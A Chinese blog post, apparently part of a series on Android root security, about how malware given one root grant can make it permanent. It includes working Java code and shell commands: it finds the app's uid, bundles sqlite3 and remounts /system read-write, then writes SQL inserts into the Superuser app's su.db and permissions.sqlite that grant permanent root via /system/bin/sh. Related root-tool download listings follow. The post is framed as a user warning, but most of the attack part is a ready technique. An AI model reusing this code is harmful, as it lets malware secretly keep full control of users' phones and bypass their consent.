`
iaiai
  • 浏览: 2135925 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

android手机root后的安全问题 (三)

 
阅读更多
导读:本文介绍病毒如何篡改superuser,使得用户只是允许病毒请求的一次root权限变成允许病毒永久使用root权限。


有同学说,你的Fake.apk需要把应用copy到system下才行,这是需要root权限的。如果用户允许了你一次root请求,你当着用户的面copy,那么copy之后,系统会发送广播,告知有新的apk被安装,杀毒软件就会发现你。
是的,这确实是个问题,但是病毒就是病毒,总会想办法让你病倒的,别急。

superuser把数据记录到数据库中,那病毒为什么不去修改你的数据库呢?如果修改成功,那么岂不是永久获得了root权限,以后再也用不着你来批准我了,我自己批准!

很不幸,病毒如果获得了一次root权限,那么上面所说的事情是完全可以做到的。
我们来演示一下,我手机中装有superuser,版本为3.0.7
我还装了一个re管理器

首先,我们打开re管理器,这时候re管理器请求使用root权限,superuser会弹出提示,询问用户是否允许
我们点击允许之前,勾选“记住”,然后允许。
这一步是为了获取:应用获得永久root权限时,应该在superuser数据库插入什么样的数据。

然后我们将数据库导出
/data/data/com.noshufou.android.su/databases下面有两个数据库我们需要关注
su.db
permissions.sqlite
我们以permissions.sqlite为例,下图为表结构:

然后来看看病毒应该如何修改数据

病毒只需要关心几个字段
uid,包名,应用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1
病毒如何获得自己的包名和应用名,这个大家没什么疑问吧
ActivityManager.RunningAppProcessInfo中含有uid的信息
下面的代码可以获得当前应用的uid
public static int getUid(Context context,String packageName){  
    ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);  
    List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();  
    int size = runningAppProcesses.size();  
    ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null;  
    for (int i = 0; i < size; i++) {  
        runningAppProcessInfo = runningAppProcesses.get(i);  
        if(packageName.equals(runningAppProcessInfo.processName)){  
            return runningAppProcessInfo.uid;  
        }  
    }  
    return -1;  
}

好了,这个表已经搞定了,su.db和这个几乎一样,也就不再演示了。

最后的问题是,如何修改手机中的数据库,显然,我们使用sqlite3,但是有的手机居然没有这个问题,所以病毒很可能自己捆绑了一个,然后复制到system/bin或者system/xbin中
sqlite3从哪来?哪都有。。比如你可以从模拟器pull出来一份。

好了,全部搞定了
最终我们分两步
1准备sqlite3这个文件,以防万一
prepareButton.setOnClickListener(new View.OnClickListener() {  
    public void onClick(View v) {  
        File dataFolder = getFilesDir();  
    File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3");  
    copyFile("db/sqlite3", sqlite, mResources);  
    }  
});

2申请root权限,一旦成功,那就修改数据库
String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" +  
                            "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) ";  
String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " +  
                                                    "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") ";  
  
String[] commands = {"busybox mount -o remount,rw /system"  
                            ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3"  
                    ,"busybox rm /data/data/" + packageName + "/files/sqlite3"  
                    ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'"  
                    ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};

执行即可

从此,病毒就脱离你的掌控了,一发不可收拾


看来大家每次批准root之后,还要去superuser中的列表看看有没有什么异常才行
  • 大小: 12.3 KB
  • 大小: 7 KB
分享到:
评论

相关推荐

    android手机root后的安全问题 (一)

    NULL 博文链接:https://su1216.iteye.com/blog/1668734

    android手机root工具

    这是一个工具,帮你获取android手机的root权限。让你不受控制,当然,这可能也给你手机带来一些安全问题,所以请慎重。

    安卓手机Root权限破解.doc

    许多机友新购来的Android机器没有破解过Root权限,无法使用一些需要高权限的软件,以及进行一些高权限的操作,其实破解手机Root权限是比较简单及安全的,破解Root权限的原理就是在手机的/system/bin/或/system/xbin/...

    android手机获取root权限教程

    root就是手机的神经中枢,它可以访问和修改你手机几乎所有的文件,这些东西可能是制作手机的公司不愿意你修改和触碰的东西,因为他们有可能影响到手机的稳定,还容易被一些黑客入侵(Root是Linux等类UNIX系统中的...

    Android应用开发实例:手机安全卫士源码

    - 软件管理:列出系统的所有软件,启动软件、卸载软件、系统的卸载失败(需要root权限这个后面也会介绍) - 进程管理:列出系统中正在运行的程序;演示杀死软件 - 窗口小部件:添加桌面; - 流量统计:模拟器并不...

    手机root权限破解

    许多机友新购来的Android机器没有破解过Root权限,无法使用一些需要高权限的软件,以及进行一些高权限的操作,其实破解手机Root权限是比较简单及安全的,破解Root权限的原理就是在手机的/system/bin/或/system/xbin/...

    [Android]模拟器、root检测.xls

    手机QQ 安全业务用例 模拟器、root检测,通用返回脚本等参考方案

    Android手机无法连接WIFI等问题的6种解决方案

    一、通用解决方案 ...三、Android手机已ROOT方法 四、Android手机未ROOT方法(方法一) 五、Android手机未ROOT方法(方法二) 六、Android7.0及以上系统连接WIFI显示网络连接受限(Android10系统ROM定制)

    天天root v1.8 官方版.zip

    天天root是一款专业好用的安卓手机root工具。软件安全,稳定,快速,覆盖了国内绝大部分的手机机型,覆盖了国内绝大部分的手机机型,安全root成功率极高。软件界面美观简洁、简单全面、实用方便,无需培训,即可快速...

    android root 原理

    Root本身是指Linux系统的root帐户,该帐户拥有整个系统至高无上的权利,系统中的所有对象它都可以操作,对于Android手机用户来说的Root是指拥有Root权限,一般情况下,手机厂商出于安全考虑会关闭手机的Root权限,...

    Android手机的轻量级访问控制

    ndroid手机与计算机建立连接之后,计算机能以root身份登录Android手机,会给手机的应用程序和用户数据造成安全隐患。以Android手机为平台,提出了一种适用于Android手机的访问控制方法,该方法在Android手机的内核中增加...

    手机安卓4.0软件专业ROOT工具

    本软件专门用于手机安卓软件4.0以上的root,成功率能到到九成,并且对手机系统绝无损坏,本人已亲测。绝对安全绿色

    论文研究-Android手机的轻量级访问控制.pdf

    Android手机与计算机建立连接之后,计算机能以root身份登录Android手机,会给手机的应用程序和用户数据造成安全隐患。以Android手机为平台,提出了一种适用于Android手机的访问控制方法,该方法在Android手机的内核中...

    Android 操作系统获取Root权限 原理详细解析

    许多机友新购来的Android机器没有破解过Root权限,无法使用一些需要高权限的软件,以及进行一些高权限的操作,其实破解手机Root权限是比较简单及安全的,破解Root权限的原理就是在手机的/system/bin/或/system/xbin/...

    基于Android系统免Root主防方法的研究

    摘要:为解决Android手机获取Root权限系统安全性的降低,非Root授权下Android手机安全应用防护效果不理想的一系列问题,研究了 ART 运行时工作原理、Java 反射机制和 AOP 原理,设计验证了一套免Root主动防御机制,...

    基于利用方式的Android Root漏洞分析

    Android平台恶意软件可以使用获取系统root权限的方式来绕过传统的Android安全机制,并且由于Android碎片化现象的存在,出现了很多利用方式、范围不同的Android root漏洞,因此有必要详细了解这些漏洞的实现机制,以采取...

    Android Root利用技术漫谈:绕过PXN.ppt

    PXN是“Privileged Execute-Never”的简写,是一种漏洞利用缓解措施,它能阻止用户空间shellcode以特权态执行...本次议题还将利用一个IceSword Lab报给Google的高通驱动漏洞,来展示如何绕过PXN来root一款Android手机。

    天天root v1.1 Beta

    软件特点1、快速识别手机型号,及时更新上市的新机,最快选出对应手机的root方案,使得手机root的速率大大提升。2、支持版本跨度大,从Android 2.3~Android 4.4各个版本的root支持,基本涵盖了国内所有手机的版本...

    Root精灵 v3.1.5.zip

    软件体积小,但成功率高,支持中兴、华为、联想、三星、HTC等国内外知名品牌手机,覆盖Android 超过300款机型。软件界面美观简洁、简单全面、实用方便,无需培训,即可快速上手,轻轻松松完成日常安卓手机一键ROOT...

    一键Root大师

    “一键Root大师”[1]是由国内著名应用开发...一键Root大师分为PC版和手机版,软件适配了大多数Android手机和平板,集成了多种Root方案,可以智能匹配出适合用户机型的Root方案,是一款高效安全的Android手机Root工具。

Global site tag (gtag.js) - Google Analytics